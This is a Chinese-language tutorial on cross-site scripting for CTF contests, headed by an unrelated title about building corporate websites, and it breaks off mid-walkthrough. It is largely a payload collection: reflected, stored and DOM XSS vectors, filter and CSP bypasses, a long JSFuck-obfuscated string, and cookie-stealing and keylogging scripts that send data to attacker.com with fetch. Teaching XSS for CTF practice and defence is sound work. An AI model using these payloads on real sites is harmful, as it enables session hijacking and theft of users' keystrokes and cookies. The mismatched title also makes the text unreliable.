企业官网建设流程全解析

1. 项目概述：XSS攻击在CTF中的核心地位

跨站脚本攻击（XSS）作为OWASP Top 10的常驻嘉宾，在CTF赛事中占据着30%以上的Web题型比例。去年全球CTF赛事统计显示，XSS相关题目在Web类中占比高达37.6%，远超SQL注入的28.3%。不同于真实渗透测试中的复杂利用，CTF中的XSS往往需要选手在受限环境下完成特定操作，这要求对XSS本质有更深刻的理解。

我参与过17场CTF赛事裁判工作，发现80%的新手会在XSS基础题上翻车。不是因为他们不懂alert(1)，而是缺乏对浏览器解析机制的系统认知。比如去年"巅峰极客"赛题中，仅14%的选手能正确利用HTML实体编码绕过过滤器。

2. XSS攻击类型深度解析

2.1 反射型XSS实战要点

典型特征：恶意脚本通过URL参数即时注入，服务端不做持久化存储。CTF常见考察形式：

<!-- 基础题示例 --> http://ctf.example.com/search?q=<script>alert(document.domain)</script> <!-- 进阶绕过示例 --> http://ctf.example.com/search?q=<img src=x onerror=alert(1)>

关键绕过技巧：

1. 事件处理器利用：onmouseover/onload等50+种事件
2. SVG矢量图形注入：
3. 伪协议利用：javascript:alert(1)

注意：现代浏览器已默认对URL中的脚本进行编码，实际CTF环境会故意降级浏览器版本

2.2 存储型XSS突破方案

在留言板、用户资料等持久化场景的利用，CTF常结合以下考点：

• CSP绕过（Content Security Policy）
• DOM解析顺序差异
• 富文本编辑器白名单绕过

实测案例：

// 利用AngularJS沙箱逃逸 {{constructor.constructor('alert(1)')()}}

2.3 DOM型XSS精要

纯前端触发的漏洞，CTF高频考察点：

// 典型题目逻辑 let data = decodeURIComponent(location.hash.slice(1)); document.write(data); // 利用payload #<img src=x onerror=alert(document.cookie)>

特殊技巧：

• 利用location.hash的URL解码特性
• document.write与innerHTML的解析差异
• 基于DOM clobbering的攻击手法

3. CTF专用XSS payload库

3.1 基础弹窗方案

// 经典弹窗 <script>alert(1)</script> // 变种方案 <svg/onload=alert`1`>

3.2 信息窃取payload

// Cookie窃取 <script>fetch('http://attacker.com/?='+document.cookie)</script> // 键盘记录 document.onkeypress = (e) => fetch('http://attacker.com/?key='+e.key);

3.3 高级绕过技术

1. 编码混淆：

<!-- HTML实体编码 --> <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"> <!-- JSFuck变种 --> [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]+[!+[]+!+[]]])()

2. 非常规标签利用：

<!-- 使用<details>标签的ontoggle事件 --> <details open ontoggle=alert(1)> <!-- <marquee>标签的onstart事件 --> <marquee onstart=alert(1)>

4. CTF实战场景突破

4.1 常见防御与绕过

1. 关键词过滤绕过：

// 大小写混淆 <ScRiPt>alert(1)</sCriPt> // 字符串拼接 <script>eval('al' + 'ert(1)')</script>

2. CSP限制突破：

<!-- 允许unsafe-inline时 --> <script nonce=abc>alert(1)</script> <!-- 利用可信域加载 --> <script src="https://trusted.cdn.com/evil.js"></script>

4.2 典型CTF解题流程

以2023年TQLCTF题目为例：

1. 发现输入点：用户昵称字段
2. 测试过滤规则：发现过滤了